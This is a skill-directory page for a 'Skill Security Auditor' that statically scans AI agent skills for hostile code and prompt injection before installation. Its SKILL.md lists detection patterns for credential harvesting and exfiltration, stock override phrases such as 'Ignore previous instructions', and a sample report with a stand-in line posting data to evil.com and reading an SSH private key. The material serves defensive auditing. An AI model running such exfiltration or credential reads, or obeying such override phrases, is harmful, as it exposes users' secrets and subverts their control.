New to Claude Skills? Learn how to install them →

alirezarezvani on GitHub

Skill Security Auditor

Free

Ensure AI skills are safe before installation.

Get this skill

Free · Opens the source repo

What Skill Security Auditor does

The Skill Security Auditor is a dedicated tool designed to scan and audit AI agent skills for security vulnerabilities prior to installation. This is particularly useful for developers and designers who frequently evaluate skills from various sources, especially untrusted ones. By running a security audit, you can identify potential risks such as command injection, unsafe code execution, and dependency vulnerabilities. The tool provides a clear verdict—PASS, WARN, or FAIL—along with specific findings and remediation guidance, allowing for informed decisions about skill installations.

The auditor works by analyzing the skill’s codebase, including Python and Bash scripts, for known security risks. It checks for dangerous patterns like the use of eval() or os.system(), which can lead to arbitrary code execution. Additionally, it scans for prompt injection risks in SKILL.md files, ensuring that no hidden instructions could compromise the AI agent's integrity. The tool also assesses dependency supply chain risks by cross-referencing packages against vulnerability databases, ensuring that third-party libraries do not introduce security flaws.

Using the Skill Security Auditor is straightforward. You can audit a local skill directory or a skill hosted in a Git repository with simple command-line instructions. The output can be tailored to your needs, including JSON reports for easy integration into CI/CD pipelines. This makes it an essential part of the development workflow, especially in environments where security is paramount. By implementing this tool, you can significantly reduce the risk of deploying malicious or vulnerable skills in your AI applications.

When to use it

Use this skill when evaluating AI skills from untrusted sources or when auditing existing skills for security compliance.

When not to use it

This skill may not be necessary for trusted internal skills or when security audits are already performed through other means.

What you can build with it

Auditing Untrusted Skills

Before installing a skill from an unknown source, use the auditor to scan for vulnerabilities and ensure safety.

Integrating into CI/CD Pipelines

Incorporate the Skill Security Auditor into your CI/CD workflow to automatically check skills for security issues during development.

Evaluating Existing Skills

Run the auditor on your existing skill directory to identify and remediate potential security risks.

How to install Skill Security Auditor

View source

1. Install with the skills CLI

npx skills add alirezarezvani/claude-skills/skill-security-auditor --agent claude-code

2. Or install it manually

Download the skill folder and drop it into ~/.claude/skills/ for all projects, or .claude/skills/ to scope it to one repo. Restart Claude Code so it picks up the new skill.

Anthropic's agentic coding CLI, and the reference implementation of Agent Skills. Drop a skill folder into ~/.claude/skills and Claude Code loads it automatically whenever a task matches the skill's description. Claude Code docs

Inside SKILL.md

Written by alirezarezvani

Skill Security Auditor

Scan and audit AI agent skills for security risks before installation. Produces a clear PASS / WARN / FAIL verdict with findings and remediation guidance.

Quick Start

# Audit a local skill directory
python3 scripts/skill_security_auditor.py /path/to/skill-name/

# Audit a skill from a git repo
python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name

# Audit with strict mode (any WARN becomes FAIL)
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict

# Output JSON report
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --json

What Gets Scanned

1. Code Execution Risks (Python/Bash Scripts)

Scans all .py, .sh, .bash, .js, .ts files for:

CategoryPatterns DetectedSeverity
Command injectionos.system(), os.popen(), subprocess.call(shell=True), backtick execution🔴 CRITICAL
Code executioneval(), exec(), compile(), __import__()🔴 CRITICAL
Obfuscationbase64-encoded payloads, codecs.decode, hex-encoded strings, chr() chains🔴 CRITICAL
Network exfiltrationrequests.post(), urllib.request, socket.connect(), httpx, aiohttp🔴 CRITICAL
Credential harvestingreads from ~/.ssh, ~/.aws, ~/.config, env var extraction patterns🔴 CRITICAL
File system abusewrites outside skill dir, /etc/, ~/.bashrc, ~/.profile, symlink creation🟡 HIGH
Privilege escalationsudo, chmod 777, setuid, cron manipulation🔴 CRITICAL
Unsafe deserializationpickle.loads(), yaml.load() (without SafeLoader), marshal.loads()🟡 HIGH
Subprocess (safe)subprocess.run() with list args, no shell⚪ INFO

2. Prompt Injection in SKILL.md

Scans SKILL.md and all .md reference files for:

PatternExampleSeverity
System prompt override"Ignore previous instructions", "You are now..."🔴 CRITICAL
Role hijacking"Act as root", "Pretend you have no restrictions"🔴 CRITICAL
Safety bypass"Skip safety checks", "Disable content filtering"🔴 CRITICAL
Hidden instructionsZero-width characters, HTML comments with directives🟡 HIGH
Excessive permissions"Run any command", "Full filesystem access"🟡 HIGH
Data extraction"Send contents of", "Upload file to", "POST to"🔴 CRITICAL

3. Dependency Supply Chain

For skills with requirements.txt, package.json, or inline pip install:

CheckWhat It DoesSeverity
Known vulnerabilitiesCross-reference with PyPI/npm advisory databases🔴 CRITICAL
TyposquattingFlag packages similar to popular ones (e.g., reqeusts)🟡 HIGH
Unpinned versionsFlag requests>=2.0 vs requests==2.31.0⚪ INFO
Install commands in codepip install or npm install inside scripts🟡 HIGH
Suspicious packagesLow download count, recent creation, single maintainer⚪ INFO

4. File System & Structure

CheckWhat It DoesSeverity
Boundary violationScripts referencing paths outside skill directory🟡 HIGH
Hidden files.env, dotfiles that shouldn't be in a skill🟡 HIGH
Binary filesUnexpected executables, .so, .dll, .exe🔴 CRITICAL
Large filesFiles >1MB that could hide payloads⚪ INFO
SymlinksSymbolic links pointing outside skill directory🔴 CRITICAL

Audit Workflow

  1. Run the scanner on the skill directory or repo URL
  2. Review the report — findings grouped by severity
  3. Verdict interpretation:
    • ✅ PASS — No critical or high findings. Safe to install.
    • ⚠️ WARN — High/medium findings detected. Review manually before installing.
    • ❌ FAIL — Critical findings. Do NOT install without remediation.
  4. Remediation — each finding includes specific fix guidance

Reading the Report

╔══════════════════════════════════════════════╗
║  SKILL SECURITY AUDIT REPORT                ║
║  Skill: example-skill                        ║
║  Verdict: ❌ FAIL                            ║
╠══════════════════════════════════════════════╣
║  🔴 CRITICAL: 2  🟡 HIGH: 1  ⚪ INFO: 3    ║
╚══════════════════════════════════════════════╝

🔴 CRITICAL [CODE-EXEC] scripts/helper.py:42
   Pattern: eval(user_input)
   Risk: Arbitrary code execution from untrusted input
   Fix: Replace eval() with ast.literal_eval() or explicit parsing

🔴 CRITICAL [NET-EXFIL] scripts/analyzer.py:88
   Pattern: requests.post("https://evil.com/collect", data=results)
   Risk: Data exfiltration to external server
   Fix: Remove outbound network calls or verify destination is trusted

🟡 HIGH [FS-BOUNDARY] scripts/scanner.py:15
   Pattern: open(os.path.expanduser("~/.ssh/id_rsa")) <!-- noqa: SEC-AUDITOR -->
   Risk: Reads SSH private key outside skill scope
   Fix: Remove filesystem access outside skill directory

⚪ INFO [DEPS-UNPIN] requirements.txt:3
   Pattern: requests>=2.0
   Risk: Unpinned dependency may introduce vulnerabilities
   Fix: Pin to specific version: requests==2.31.0

Advanced Usage

Audit a Skill from Git Before Cloning

# Clone to temp dir, audit, then clean up
python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup

CI/CD Integration

# GitHub Actions step
- name: "audit-skill-security"
  run: |
    python3 scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json
    if [ $? -ne 0 ]; then echo "Security audit failed"; exit 1; fi

Batch Audit

# Audit all skills in a directory
for skill in skills/*/; do
  python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl
done

Threat Model Reference

For the complete threat model, detection patterns, and known attack vectors against AI agent skills, see references/threat-model.md.

Limitations

  • Cannot detect logic bombs or time-delayed payloads with certainty
  • Obfuscation detection is pattern-based — a sufficiently creative attacker may bypass it
  • Network destination reputation checks require internet access
  • Does not execute code — static analysis only (safe but less complete than dynamic analysis)
  • Dependency vulnerability checks use local pattern matching, not live CVE databases

When in doubt after an audit, don't install. Ask the skill author for clarification.

Frequently asked questions about Skill Security Auditor

Similar skills